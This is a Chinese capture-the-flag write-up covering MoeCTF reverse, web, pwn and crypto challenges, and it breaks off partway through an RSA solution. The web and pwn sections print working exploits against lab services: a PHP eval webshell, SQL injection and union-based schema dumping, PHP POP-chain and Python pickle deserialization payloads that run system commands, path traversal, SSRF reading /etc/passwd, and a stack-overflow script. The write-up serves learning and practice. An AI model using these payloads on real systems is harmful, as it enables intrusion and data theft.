返回 (0) ' 可以根据您的需要返回任意数值
拿下flag
或者使用python解密
monvvv师傅文章中的python实现易语言DES有一点小问题,需要修改
from Crypto.Cipher import DES,ARC4
import struct
def rc4_decrypt(ciphertext):
key = b'flag.fromserver'
rc4 = ARC4.new(key)
decrypted_data = rc4.decrypt(ciphertext)
return decrypted_data
def reverse_bytes(b):
assert type(b) == bytes
ba = bytearray(b)
for i in range(0, len(b)):
ba[i] = int(format(b[i], '0>8b')[::-1], 2)
return bytes(ba)
def get_new_key(key):
ba = bytearray(8)
i = 0
for b in key:
ba[i] = b ^ ba[i]
i = i + 1 if i < 7 else 0 #该处8改成7
return bytes(ba)
# zero padding
def padding(d):
ba = bytearray(d)
while len(ba) % 8 != 0:
ba.append(0)
return bytes(ba)
def append_len(d):
assert type(d) == bytes
length = struct.pack('<L', len(d))
return bytes(length + d)
def remove_len(d):
assert type(d) == bytes
return d[4:]
def e_des_encrypt(plain, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
return des.encrypt(padding(append_len(plain)))
def e_des_decrypt(raw, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
t = des.decrypt(raw)
return remove_len(t)
with open('flag', 'rb') as file:
enc = file.read()
dec1=rc4_decrypt(enc)
print(dec1)
key = b'4g3n71u0'
dec2 = e_des_decrypt(dec1, key)
print(dec2)
不得不吐槽两句,这易语言软件要花钱,论坛注册要花钱,下载也花钱,有点逆天
web
垫刀之路
垫刀之路01: MoeCTF?启动!
欢迎来到垫刀之路
垫刀之路也是出到了七道题,感谢大家的一路陪伴。如果后面来比赛的师傅感觉题目做不下去了,可以来垫刀之路试炼一下哦!
为了方便各位 web 手在做各种精品题的时候可以享受更平滑的难度曲线,我们特意开启了一个 web 系列:垫刀之路。
垫刀之路将会混杂在普通的 web 题当中,考点单一,引导充足,难度十分简单。它将为你们之后做各种题进行垫刀。
在此系列的题目描述里,我会说明做此题前后的推荐题目,也就是说,垫刀之路的考点,完全可以作为之后做别的题目的前置知识,为精品题目垫刀
那么,现在享受垫刀之路的开始,非常简单哦!
本题可为以下题目垫刀:
- 弗拉格之地的挑战
- pop moe
ls /
发现根目录有flag文件
提示在环境变量里
set
查看环境变量,拿到flag
垫刀之路02: 普通的文件上传
垫刀之路02
映入眼帘的是一个文件上传的按钮。看来只要上传点木马什么的,就可以控制机器了吧。
也憋说题目简单,出题人出的可不容易,这前后端还真得临时现学咋写。
什么?你说 flag 找不到?我看你还没有做垫刀之路01 吧 : )
建议在做完以下题目后前来挑战:
- 弗拉格之地的挑战
- 垫刀之路01
本题可为以下题目垫刀:
- pop moe
经典文件上传,无限制
上传一个php马
<?php @eval($_POST['cmd']);?>
执行shell,同样在环境变量里,set
或者cat /etc/profile
获取环境变量信息
或者蚁剑连
垫刀之路03: 这是一个图床
垫刀之路03
为了保证服务器的安全,Sxrhhh 把文件上传的类型进行了限制,现在终于只能上传图片了。
但是百密必有一疏,相信你能找到成功把你木马上传上去的方法的。
建议在做完以下题目后前来挑战:
- 垫刀之路02
本题可为以下题目垫刀:
- 未知
前端限制,没啥用
上传个图片bp抓个包利用一下
改文件名和文件内容为
<?php @eval($_POST['cmd']);?>
set查看flag
垫刀之路04: 一个文件浏览器
垫刀之路04
Sxrhhh 做了一个文件浏览器,塞了很多东西进去。不知道你能不能从这一堆乱七八糟的文件里面,翻出你想要的 flag 呢?
注意:题目中有一些 readme 文件,我觉得你不应该错过。
本题无前置
本题可为以下题目垫刀:
- moejail_lv1
发现是个目录文件查看器,path控制路径
../
在linux中可以查看上级目录
看看根目录是否有flag
?path=../../../../flag
在/tmp
目录下
垫刀之路05: 登陆网站
垫刀之路05
这是一个登陆页面。听说管理员叫 admin123 ,而且只要登陆成功,就会显示 flag 。可是,听管理员自己说,它自己的密码在密码强度检查器网站上,需要上百年才能被破译。那么,我们应该怎么登陆进去呢?
本题无前置
本题可为以下题目垫刀:
- 电院_Backend
像这种php登录的题账号密码都以字符串存在数据库里的,一般是php+mysql
而验证时会执行类似如下SQL语句来判断正确与否
"SELECT passwd FROM user WHERE username = 'admin' and passwd = '123456'; "
其中admin和123456即为我们输入的内容,这条语句会将我们输入的与数据库储存的信息进行对比,一致则返回真
而在sql语句中#
代表注释,'123'
代表字符串123
这样就可以在对sql语句进行注入,由于通常我们只能控制用户名和密码,在用户名填入万能密码' or 1=1 #
,就会执行如下SQL语句
SELECT passwd FROM user WHERE username = '' or 1=1 #' and passwd = '';
可以看出username字段已经被闭合为空,但后面跟的or 1=1
保证了到目前为止返回为真,接着#
注释掉后面and语句,至此整条语句为真
或
垫刀之路06: pop base mini moe
垫刀之路06
pop moe 青春版 不是么?
建议在做完以下题目后再来挑战:
- 弗拉格之地的挑战
本题可为以下题目垫刀:
- pop moe
<?php
class A {
// 注意 private 属性的序列化哦
private $evil;
// 如何赋值呢
private $a;
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
class B {
private $b;
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
用不到B
<?php
class A {
// 注意 private 属性的序列化哦
private $evil='set';
// 如何赋值呢
private $a='system';
}
echo urlencode(serialize(new A())); //像这种private或protected,加一层url编码
垫刀之路07: 泄漏的密码
垫刀之路07
Sxrhhh 正在使用 Flask 编写网站服务器,不慎泄漏了 PIN 码 是时候给他一个乱用调试模式的教训了。
敬请期待联动考点!!
说句心里话:原计划四五道题的垫刀之路也是不知不觉出到了七道,正好和 弗拉格之地的挑战 凑个对。这里感谢大家对垫刀之路的一路陪伴,如果没有其他情况,这应该就是最后一道了。收拾好心情,我们将会在第三周放出更精品,更有挑战性的题目(其实也不难哦)
我的评价是,迷你ISCC-Flask中的pin值计算
直接给了pin 343-955-207
访问/console
路由,执行python代码,os模块中popen函数为命令执行函数
week 1
弗拉格之地的入口
访问/robots.txt君子协议
找到不让君子访问的路由/webtutorEntry.php
,可我不是君子
http
根据提示加改http头
ProveYourLove
都七夕了,怎么还是单身狗丫?快拿起勇气向你 crush 表白叭,300份才能证明你的爱!
【七夕限定7分】拿不到就收下我的祝福吧:愿你和自己的幸福不期而遇!
Actually your love still needs to be proven.💔💘
(暑假实践一下叭~ 😄)
发现不能重复提交
明显前端检测
bp抓个包爆破
flag:
Qixi_flag: moeCTF{Happy_Chin3s3_Va13ntin3’s_Day_Baby.}
弗拉格之地的挑战
拿到flag1:bW9lY3Rm和下一个路由/flag2hh.php
flag2:e0FmdEV和/flag3cad.php
传入a和b发现需要身份认证,不是Authentication
头
源代码中提示cookie
flag3: yX3RoMXN
加上Referer头
没有9
查看前端代码
给他加个9
控制台拿到flag4: fdFVUMHJ和/flag5sxr.php路由
前端阻止提交I want flag
不走js了,手动提交,拿到flag5: fSV90aDF和下一个路由**/flag6diw.php**
<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
if (preg_match('/flag/', $_GET['moe'])) {
die("no");
} elseif (preg_match('/flag/i', $_GET['moe'])) {
echo "flag6: xxx";
}
}
正则双/
后跟i
是匹配大小写,get传参大写绕过死亡die,拿到flag6: rZV9VX2t和flag7fxxkfinal.php
在**/**根目录下
拿到最后一个flag:rbm93X1dlQn0=
pop moe
<?php
class class000 {
private $payl0ad = 0;
protected $what;
public function __destruct()
{
$this->check();
}
public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
<?php
class class000 {
private $payl0ad = 1;
public $what;
}
class class001 {
public $payl0ad;
public $a;
}
class class002 {
private $sec;
public function __set($sec, $val){
$this->sec=$val;
}
}
class class003 {
public $mystr='echo `$_POST[cmd]`;';
public function evvval($str)
}
$exploit = new class000();
$exploit->what=new class001();
$exploit->what->a=new class002();
$exploit->what->payl0ad='dangerous';
$exploit->what->a->sec=new class003;
echo urlencode(serialize($exploit));
du / 发现没有flag,最后phpinfo发现在环境变量里
week 2
静态网页
无意间发现 Sxrhhh 的个人博客。但是好像是静态博客,应该没什么攻打的必要了。。。
找找找,看到有个get参数请求,发现**/final1l1l_challenge.php**路由
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';
$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
} Where is your param?
数字开头+字母绕过is_numeric函数,b数组上传a的MD5值
<?php
$a='0o0';
echo md5($a);
?a=0o0
b[0o0]=42971caecc246621d2783ecef1d9ba5b
勇闯铜人阵
闯过铜人阵就可以获得 xx寺的认可。这关的名字是 —— 听声辩位?
根据提示搓脚本
import requests
from bs4 import BeautifulSoup
import json
url="http://127.0.0.1:54280/"
start={'player': 1,'direct': '弟子明白'}
mappings=["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]
session = requests.Session()
def get_status(res):
# 解析页面内容
soup = BeautifulSoup(res.text, 'html.parser')
# 提取<h1 id="status">标签的内容
status = soup.find('h1', id='status').text.strip()
print(status)
return status
def translate(status):
if "," in status:
return mappings[int(status[0])-1]+"一个,"+mappings[int(status[3])-1]+"一个"
else:
return mappings[int(status[0]) - 1]
def answer(res,n):
n+=1
status=get_status(res)
data={"player":1,"direct":translate(status)}
res=session.post(url,data=data)
print(res.text)
if n==5:
return 0
return answer(res,n)
res=session.post(url,start)
status=get_status(res)
answer(res,0)
ImageCloud前置
url后面怎么有个
?url=
啧啧啧,这貌似是一个很经典的漏洞 flag在/etc/passwd里,嗯?这是一个什么文件 声明:题目环境出不了网,无法访问http资源,但这并不影响做题,您可以拿着源码本地测试
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch CURLOPT_URL $url);
curl_setopt($ch CURLOPT_HEADER false);
curl_setopt($ch CURLOPT_RETURNTRANSFER true);
curl_setopt($ch CURLOPT_FOLLOWLOCATION true);
$res = curl_exec($ch);
$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];
header('Content-Type: ' . $mime_type);
curl_close($ch);
echo $res;
?>
file://协议访问本地文件
file:///etc/passwd
ImageCloud
给了源代码
flag在upload目录里
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
app = Flask(__name__)
UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}
uploaded_files = []
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(
f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
for filename in uploaded_files
) + '''
</ul>
'''
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']
if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()
unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
file.save(filepath)
uploaded_files.append(unique_filename)
return redirect(url_for('index'))
else:
return '文件类型不支持', 400
@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400
try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))
img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host='0.0.0.0', port=5000)
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}
uploaded_files = []
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def get_mimetype(file_path):
mime = mimetypes.guess_type(file_path)[0]
if mime is None:
try:
with Image.open(file_path) as img:
mime = img.get_format_mimetype()
except Exception:
mime = 'application/octet-stream'
return mime
def find_free_port_in_range(start_port, end_port):
while True:
port = random.randint(start_port, end_port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.close()
return port
@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
</ul>
'''
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']
if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()
unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
file.save(filepath)
uploaded_files.append(unique_filename)
return redirect(url_for('index'))
else:
return '文件类型不支持', 400
@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)
app.py对应5000端口,app2.py对应5001到6000随机端口,flag在upload文件夹中,app.py只能上传图片和访问静态文件路由**/static**,不过在另一个服务app2.py中有/image/<filename>
路由可以访问uploads/下文件,并且在app.py中存在/image
路由,可以通过url
参数访问指定url地址。
由此,我们先扫开放app2.py服务的端口为5207,这个端口是出不了网的只能本地访问,而app.py的5000端口是映射到公网了,通过/image?url=http://localhost:5207
进行转发可以访问5207的服务(经过图片解析,仅能获取图资源),转发http://localhost:5207/image/flag.jpg
便可以输出flag图片
电院_Backend
就这???貌似也不行呀
login.php
<?php
error_reporting(0);
session_start();
if($_POST){
$verify_code = $_POST['verify_code'];
// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}
$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}
$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);
$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}
?>
御剑扫一下路由
进入登录页面
再来看源代码,明显sql注入
!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)
过滤不严,preg_match仅仅匹配邮箱,1@qq.com' [SQL]
即可进行sql语句执行,or
大小写过滤可用union联合查询绕过
123@qq.com' UNION SELECT * FROM admin WHERE 1=1 #
Re: 从零开始的 XDU 教书生活
请通过静态附件在本地完成任务后再在平台的在线环境上复现,以避免占用过多的平台带宽。
你成为了 XDU 的一个教师,现在你的任务是让所有学生签上到(需要从学生账号签上到,而不是通过教师代签)。 注意:
- 本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。
- 当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。 本题的部分前端页面取自超星学习通网页,后端与其无关,仅用作场景还原,请勿对原网站进行任何攻击行为!
如果有任何疑问可通过锤子联系出题人。
登录抓个包发现用户名和密码都是加密的,登录成功会返回一个token,登录路由/fanyalogin
用的AES加密
不断请求/v2/apis/sign/refreshQRCode
获得验证信息,并调用api刷新生成二维码
/widget/sign/pcTeaSignController/showSignInfo1
接口获得学生签到信息
登录拿token签到
撸脚本,一如既往的屎
import base64
from urllib.parse import quote
import requests,json
from Crypto.Cipher import AES
url="http://127.0.0.1:61293"
def get_QR_2_url(url):
reQRUrl = url + "/v2/apis/sign/refreshQRCode"
response = requests.get(reQRUrl)
if response.status_code == 200:
data = response.json()
enc = data.get("data", {}).get("enc")
sign_code = data.get("data", {}).get("signCode")
signinurl=url+f"/widget/sign/e?id=4000000000000&c={sign_code}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id"
"http://127.0.0.1:60841/widget/sign/e?id=4000000000000&c=3955445095354&enc=47F8560920F4ACB9A7F54642529D8198&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id"
return signinurl
def get_id(url):
getinfo=url+"/widget/sign/pcTeaSignController/showSignInfo1"
res=requests.get(getinfo)
data=res.json()
# 提取所有的 `name` 字段
names = [item['name'] for item in data['data']['changeUnSignList']]
return names
def AESencrypt(data):
key = "u2oh6Vu^HWe4_AES".encode("utf-8")
iv = "u2oh6Vu^HWe4_AES".encode("utf-8")
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext_bytes = data.encode("utf-8")
pad_length = 16 - (len(plaintext_bytes) % 16)
padding = bytes([pad_length] * pad_length)
padded_plaintext_bytes = plaintext_bytes + padding
encrypted_bytes = cipher.encrypt(padded_plaintext_bytes)
encrypted_base64 = base64.b64encode(encrypted_bytes).decode("utf-8")
return encrypted_base64
def login(url,encryptnames):
loginurl=url+"/fanyalogin"
tokens=[]
for i in encryptnames:
i=quote(i)
data=f"uname={i}&password={i}&t=true"
print(data)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
res=requests.post(loginurl,data=data,headers=headers)
tokens.append(res.cookies.get('token'))
return tokens
def signin(url,tokens):
for token in tokens:
cookie={'token':token}
res=requests.get(url,cookies=cookie)
print(res.text)
signinurl=get_QR_2_url(url)
encryptnames=[AESencrypt(name) for name in get_id(url)]
print(encryptnames)
tokens=login(url,encryptnames)
signin(signinurl,tokens)
1024个学生,一点慢,改个多线程
import base64
import requests
import json
from Crypto.Cipher import AES
from urllib.parse import quote
from threading import Thread
url = "http://127.0.0.1:54214"
def get_QR_2_url(url):
reQRUrl = url + "/v2/apis/sign/refreshQRCode"
response = requests.get(reQRUrl)
if response.status_code == 200:
data = response.json()
enc = data.get("data", {}).get("enc")
sign_code = data.get("data", {}).get("signCode")
signinurl = url + f"/widget/sign/e?id=4000000000000&c={sign_code}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id"
return signinurl
def get_id(url):
getinfo = url + "/widget/sign/pcTeaSignController/showSignInfo1"
res = requests.get(getinfo)
data = res.json()
names = [item['name'] for item in data['data']['changeUnSignList']]
return names
def AESencrypt(data):
key = "u2oh6Vu^HWe4_AES".encode("utf-8")
iv = "u2oh6Vu^HWe4_AES".encode("utf-8")
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext_bytes = data.encode("utf-8")
pad_length = 16 - (len(plaintext_bytes) % 16)
padding = bytes([pad_length] * pad_length)
padded_plaintext_bytes = plaintext_bytes + padding
encrypted_bytes = cipher.encrypt(padded_plaintext_bytes)
encrypted_base64 = base64.b64encode(encrypted_bytes).decode("utf-8")
return encrypted_base64
def login_worker(loginurl, encryptname, tokens):
encrypted_name = quote(encryptname)
data = f"uname={encrypted_name}&password={encrypted_name}&t=true"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
res = requests.post(loginurl, data=data, headers=headers)
token = res.cookies.get('token')
tokens.append(token)
def login(url, encryptnames):
loginurl = url + "/fanyalogin"
tokens = []
threads = []
for name in encryptnames:
thread = Thread(target=login_worker, args=(loginurl, name, tokens))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
return tokens
def signin_worker(url, token):
cookie = {'token': token}
res = requests.get(url, cookies=cookie)
print(res.text)
def signin(url, tokens):
threads = []
for token in tokens:
thread = Thread(target=signin_worker, args=(url, token))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
signinurl = get_QR_2_url(url)
encryptnames = [AESencrypt(name) for name in get_id(url)]
print(encryptnames)
tokens = login(url, encryptnames)
signin(signinurl, tokens)
结束签到拿到flag
week 3
who’s blog?
Sxrhhh 的个人小站终究因为经营不善倒闭了,无奈只能拍卖自己的网站。不知道谁能来认领呢?
fenjing一把梭
PetStore
喵喵把 flag 丢在宠物商店了,帮她找回 flag 吧!
* 将根据解题情况逐步发放新的 hint。
* 有任何疑问可通过锤子提问。
from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid
app = Flask(__name__)
class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
self.uuid = uuid.uuid4()
def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"
class PetStore:
def __init__(self) -> None:
self.pets = []
def create_pet(self, name, species) -> None:
pet = Pet(name, species)
self.pets.append(pet)
def get_pet(self, pet_uuid) -> Pet | None:
for pet in self.pets:
if str(pet.uuid) == pet_uuid:
return pet
return None
def export_pet(self, pet_uuid) -> str | None:
pet = self.get_pet(pet_uuid)
if pet is not None:
self.pets.remove(pet)
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
return serialized_pet
return None
def import_pet(self, serialized_pet) -> bool:
try:
print(111111)
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False
store = PetStore()
@app.route("/", methods=["GET"])
def index():
pets = store.pets
return render_template("index.html", pets=pets)
@app.route("/create", methods=["POST"])
def create_pet():
name = request.form["name"]
species = request.form["species"]
store.create_pet(name, species)
return redirect("/")
@app.route("/get", methods=["POST"])
def get_pet():
pet_uuid = request.form["uuid"]
pet = store.get_pet(pet_uuid)
if pet is not None:
return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})
else:
return jsonify({"error": "Pet not found"})
@app.route("/export", methods=["POST"])
def export_pet():
pet_uuid = request.form["uuid"]
serialized_pet = store.export_pet(pet_uuid)
if serialized_pet is not None:
return jsonify({"serialized_pet": serialized_pet})
else:
return jsonify({"error": "Pet not found"})
@app.route("/import", methods=["POST"])
def import_pet():
serialized_pet = request.form["serialized_pet"]
if store.import_pet(serialized_pet):
return redirect("/")
else:
return jsonify({"error": "Failed to import pet"})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8889, debug=False, threaded=True)
先推荐一篇文章:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)
这题就比较简单了,虽然有个isinstance
验证,但pickle.loads
反序列化在其之前,相当于没有任何过滤,只是没有回显
题目也说了不能出网,问题不大,我们可以执行命令写到static目录(需要mkdir一个)下,然后读取文件
总之,先写一个opcode脚本
import pickle,pickletools
import base64
opcode = b'''cos
system
(S'mkdir static && set > ./static/1'
tR.
'''
pickletools.dis(opcode)
print(base64.b64encode(opcode).decode())
#Y29zCnN5c3RlbQooUydta2RpciBzdGF0aWMgJiYgc2V0ID4gLi9zdGF0aWMvMScKdFIuCg==
访问/static/1
路由,拿到环境变量
BB_ASH_VERSION='1.36.1'
FLAG='moectf{sT@RRyMEow'"'"'5-flaG_hAs_be3N-aCCEptEd-@C@c4C@c22}'
FUNCNAME=''
GPG_KEY='7169605F62C751356D054A26A821E680E5FA6305'
HOME='/root'
HOSTNAME='ret2shell-109-7248'
IFS='
'
KUBERNETES_PORT='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'
KUBERNETES_PORT_443_TCP_PORT='443'
KUBERNETES_PORT_443_TCP_PROTO='tcp'
KUBERNETES_SERVICE_HOST='10.43.0.1'
KUBERNETES_SERVICE_PORT='443'
KUBERNETES_SERVICE_PORT_HTTPS='443'
LANG='C.UTF-8'
LINENO=''
OPTIND='1'
PATH='/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='1'
PS1='\w \$ '
PS2='> '
PS4='+ '
PWD='/'
PYTHONUNBUFFERED='1'
PYTHON_GET_PIP_SHA256='6fb7b781206356f45ad79efbb19322caa6c2a5ad39092d0d44d0fec94117e118'
PYTHON_GET_PIP_URL='https://github.com/pypa/get-pip/raw/66d8a0f637083e2c3ddffc0cb1e65ce126afb856/public/get-pip.py'
PYTHON_PIP_VERSION='24.0'
PYTHON_VERSION='3.12.4'
SHLVL='1'
WERKZEUG_SERVER_FD='3'
有意思的是,moectf{sT@RRyMEow'"'"'5-flaG_hAs_be3N-aCCEptEd-@C@c4C@c22}
并不是flag,其中有'
闭合的问题
执行echo $FLAG > ./static/1也可
smbms
Sxrhhh 紧急突击 JavaWeb, 最终学有小成,按照教程做出了一个半成品 —— smbms(超市信息管理系统)。现在请你来帮忙看看哪里有安全漏洞吧。
注:本题含有附件,请下载后进行代码审计
再注:本题为了出题,修改了原项目环境,会有明显的 bug 和未完成现象,请忽略 404 之类的错误。如果出现 500 之类的错误,可以新开一个标签页,重新输入网址
提示weak_auth
字典爆破
这几个method
可用
存在sql注入
'
闭合%
http://127.0.0.1:59405/jsp/user.do?method=query&queryUserRole=0&pageIndex=1&queryName=1111' UNION SELECT NULL,'1111', (select group_concat(schema_name) from information_schema.schemata), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --'
http://127.0.0.1:59405/jsp/user.do?method=query&queryUserRole=0&pageIndex=1&queryName=1111' UNION SELECT NULL,'1111', (select group_concat(table_name) from information_schema.tables where table_schema='smbms2'), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --'
http://127.0.0.1:59405/jsp/user.do?method=query&queryUserRole=0&pageIndex=1&queryName=1111' UNION SELECT NULL,'1111', (select group_concat(column_name)from information_schema.columns where table_name='flag' and table_schema='smbms2'), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --'
pwn
week 1
二进制漏洞审计入门指北
nc签到
NotEnoughTime
nc连接,发现前两行为字符串,3、4行算式固定答案2、0,然后又是一行字符串,然后连续20行算式
搓脚本
from pwn import*
p=remote('127.0.0.1',51857)
p.recvline()
p.recvline()
p.sendline(b"2")
p.sendline(b"0")
p.recvline()
for i in range(20):
equation=p.recvuntil(b"=").decode()[:-2].replace("\n","").replace("/","//")
answer=str(eval(equation))
p.sendline(answer.encode())
print(equation+" = "+answer)
p.interactive()
no_more_gets
很明显,gets栈溢出
80+8个字符覆盖到返回地址,将返回地址填为call myshell的地址0x401278
from pwn import*
p=remote('127.0.0.1',63656)
payload=b'a'*88+p64(0x401278)
print(payload)
p.sendline(payload)
p.interactive()
flag_helper
Pwn 太暴力了,这一次让
flag-helper
助你夺旗吧。
读文件,读一下/flag,有不同回显
flags
可能指open函数中flags
参数,1、2无权限,4可读权限
int open(const char * pathname, int flags, mode_t mode);
提示mmap和 prot
void* mmap ( void * addr , size_t len , int prot , int flags , int fd , off_t offset )
crypto
week 1
现代密码学入门指北
from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag
p = getPrime(128)
q = getPrime(128)
n = p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"n = {n}")
print(f"p = {p}")
print(f"q = {q}")
print(f"c = {c}")
'''
n = 40600296529065757616876034307502386207424439675894291036278463517602256790833
p = 197380555956482914197022424175976066223
q = 205695522197318297682903544013139543071
c = 36450632910287169149899281952743051320560762944710752155402435752196566406306
'''
d=e^{−1}\modϕ(n)
m=c^d\mod n
解密脚本
from Crypto.Util.number import long_to_bytes, inverse
# Given parameter
p = 197380555956482914197022424175976066223
q = 205695522197318297682903544013139543071
n = 40600296529065757616876034307502386207424439675894291036278463517602256790833
e = 65537
c = 36450632910287169149899281952743051320560762944710752155402435752196566406306
# Compute phi(n)
phi_n = (p - 1) * (q - 1)
# Compute the private key exponent d
